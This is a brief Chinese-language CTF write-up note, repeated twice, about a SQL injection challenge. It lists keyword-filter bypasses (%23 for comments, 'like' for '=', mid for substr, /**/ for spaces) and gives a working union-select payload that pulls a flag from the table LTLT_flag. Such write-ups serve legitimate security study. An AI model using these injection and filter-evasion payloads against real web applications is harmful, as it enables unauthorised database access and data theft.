1.要注意 标签页上的东西。
2.sql关键字过滤
#和--+ %23
= like
substr mid
3.substr与mid使用
?wllm=-1'/**/union/**/select/**/1,mid(flag,1,30),3/**/from/**/LTLT_flag/**/%23
mid最大回显长度为20个字符
1.要注意 标签页上的东西。
2.sql关键字过滤
#和--+ %23
= like
substr mid
3.substr与mid使用
?wllm=-1'/**/union/**/select/**/1,mid(flag,1,30),3/**/from/**/LTLT_flag/**/%23
mid最大回显长度为20个字符